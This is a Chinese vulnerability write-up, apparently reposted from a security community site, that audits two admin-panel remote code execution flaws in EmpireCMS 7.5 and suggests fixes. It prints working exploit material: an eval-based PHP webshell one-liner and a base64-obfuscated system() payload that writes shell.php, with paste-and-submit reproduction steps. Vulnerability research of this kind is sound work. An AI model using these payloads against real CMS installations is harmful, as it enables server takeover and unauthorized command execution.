帝国(EmpireCMS)7.5的两个后台RCE审计 - 先知社区
2019-09-10 06:11:04 Author: xz.aliyun.com(查看原文) 阅读量:175 收藏

后台RCE-增加自定义页面

漏洞复现

这个漏洞挖掘最初来源于qclover师傅:EmpireCMS_V7.5的一次审计

但是在这篇复现的文章中还是有一些出入的地方,比如说getshell的具体位置和成因。这里重新跟进分析一下

首先看一下getshell的流程,这个洞有点像黑盒to白盒

增加页面功能,会在程序根目录生成一个shell.php,访问为phpinfo结果

但是在我写入其他木马时,例如<?php @eval($_REQUEST[hpdoger]);?>,根目录却生成了一个空的shell.php文件

此时就有些疑问,推测真正的漏洞点应该不是在根目录写入一个php,应该另有它径,这里分析一下漏洞产生的真正成因。

漏洞分析

入口在e/admin/ecmscom.php代码48行,跟进函数AddUserpage

重点关注两个参数的流程:path、pagetext

步入RepPhpAspJspcode函数

function RepPhpAspJspcode($string){
    global $public_r;
    if(!$public_r[candocode]){
        //$string=str_replace("<?xml","[!--ecms.xml--]",$string);
        $string=str_replace("<\\","<\\",$string);
        $string=str_replace("\\>","\\>",$string);
        $string=str_replace("<?","<?",$string);
        $string=str_replace("<%","<%",$string);
        if(@stristr($string,' language'))
        {
            $string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
        }
        //$string=str_replace("[!--ecms.xml--]","<?xml",$string);
    }
    return $string;
}

这个函数用来对pagetext参数进行了php标签的实体化,但是empirecms默认public_r[candocode]为null,所以这里相当于直接返回了原始pagetext的值

继续回到AddUserpage函数,接着步入ReUserpage函数,在e/class/functions.php的4281行

获取程序的根路径后拼接传入的path,而后DoFileMKDir在根目录建立了shell.php

接着步入InfoNewsBq函数,也是这个漏洞产生的函数。关键代码在e/class/functions.php的2469-2496行

$file参数以php结尾,通过WriteFiletext函数向$file中写入上一步的pagetext(这里为$indextext),而WriteFiletext是没有任何过滤的

function WriteFiletext($filepath,$string){
    global $public_r;
    $string=stripSlashes($string);
    $fp=@fopen($filepath,"w");
    @fputs($fp,$string);
    @fclose($fp);
    if(empty($public_r[filechmod]))
    {
        @chmod($filepath,0777);
    }
}

于是在e/data/tmp目录下,以模版文件的形式写入webshell,同时也将AddCheckViewTempCode()返回的权鉴方法写了进去,所以我们不能直接以url的方式访问这个webshell。

但是仍有方法使这个webshell执行并将结果输出。原因在下面这几行

由于入口处定义了常量InEmpireCMS,ob_get_contents可以读取缓冲区的输出,而输出正好是刚才我们包含进去的shell的结果。因此执行了phpinfo()后将要输出到浏览器的内容赋值给了$string变量并返回,在ReUserpage函数中又进行了一次写入,缓冲结果写入的根目录下的shell.php,造成一个表面getshell的现象,其实是一种rce。

漏洞修复

设置$public_r[candocode]为true进行写入内容的过滤

后台首页模版处rce到getshell

承接上一个漏洞,整个empirecms不少用到ob_get_contents的地方,所以就想挖掘一下还有没有其他可以利用的点,最后把眼光锁在增加模版处。

漏洞复现

在后台模版功能处,选择管理首页模版,然后点击增加首页方案

复制下面的payload,填写到模版内容处,点击提交。

<?php 
$aa = base64_decode(ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA);
${(system)($aa)};
?>

其中base64编码部分为

ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA
=>
echo '<?php eval($_REQUEST[hp]);'>shell.php

再点击启用此方案即可getshell,在e/admin/template/目录下生成shell.php


漏洞分析

在e/class/functions.php的NewsBq函数中调用WriteFiletext函数向/e/data/tmp/index.php中写入文件并包含

查找一下哪些地方调用NewsBq函数,最后锁定在e/admin/template/ListIndexpage.phpDefIndexpage

首先从库里获取得到$r[temptext]作为参数传入NewsBq,此时$class为null。那么文件内容可控吗?查看一下入库的语句,看看存不存在任意写入,全局搜索enewsindexpage

在同文件ListIndexpage.php的第23行到47行,调用insert语句向enewsindexpage中增加数据,关键代码如下

function AddIndexpage($add,$userid,$username){
    global $empire,$dbtbpre;
    if(!$add[tempname]||!$add[temptext])
    {
        printerror("EmptyIndexpageName","history.go(-1)");
    }
    ...
    $add[tempname]=hRepPostStr($add[tempname],1);
    $add[temptext]=RepPhpAspJspcode($add[temptext]);
    $sql=$empire->query("insert into {$dbtbpre}enewsindexpage(tempname,temptext) values('".$add[tempname]."','".eaddslashes2($add[temptext])."');");
    ...
}

调用AddIndexpage的入口为:

$enews=$_POST['enews'];
if(empty($enews))
{$enews=$_GET['enews'];}

if($enews=="AddIndexpage")
{
    AddIndexpage($_POST,$logininid,$loginin);
}

所以$add$_POST获取的数组,经过一次eaddslashes2函数清洗后以temptext字段存入库,而eaddslashes2在内部调用的是addslashes。猜想开发者最初可能只是为了防止sql注入,而没有进行其他类型过滤。但是我们执行任意命令是可以绕过addslashes的限制,取出来temptext字段来rce。

只需要用到复杂变量:PHP复杂变量绕过addslashes()直接拿shell

整理思路:入库rce语句->取出库->写文件->包含rce->getshell

漏洞修复

对入库语句进行过滤,建议在eaddslashes2中增加一些过滤机制


文章来源: https://xz.aliyun.com/t/6228
如有侵权请联系:admin#unsafe.sh